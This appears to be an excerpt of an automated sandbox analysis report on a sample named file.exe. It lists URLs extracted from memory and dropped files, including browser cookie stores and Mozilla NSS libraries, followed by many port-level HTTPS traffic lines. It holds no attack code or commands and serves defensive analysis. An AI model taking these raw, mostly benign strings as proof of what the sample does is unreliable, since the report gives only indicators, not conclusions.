Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.16.dr, 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_536.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_536.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_536.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_536.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://gaana.com/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://m.kugou.com/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://m.vk.com/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXIDv10
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://music.amazon.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://music.apple.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.16.dr, 2cc80dabc69f58b6_0.16.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log3.16.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376892038321249.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.16.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://open.spotify.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_536.11.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://srtb.msn.com/
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://support.mozilla.org
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://tidal.com/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://web.telegram.org/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://web.whatsapp.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.deezer.com/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.16.dr, content_new.js.16.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.2494476733.000000002346E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2408025324.0000000001173000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, JJDGIIDH.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: d0f2e3f2-a23b-471a-949c-70b190ef5084.tmp.17.dr, 384cf1de-7ac5-483e-9d50-8188cb2f988f.tmp.17.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_536.11.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_536.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_536.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.instagram.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.last.fm/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.messenger.com
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://www.mozilla.org
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://www.mozilla.org#
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EHCBAAAFHJDHJJKEBGHIECAKJK.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.office.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000001.00000002.2745809608.00000000234C3000.00000004.00000020.00020000.00000000.sdmp, JJKFBFIJJECGCAAAFCBG.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.tiktok.com/
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://www.youtube.com
Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
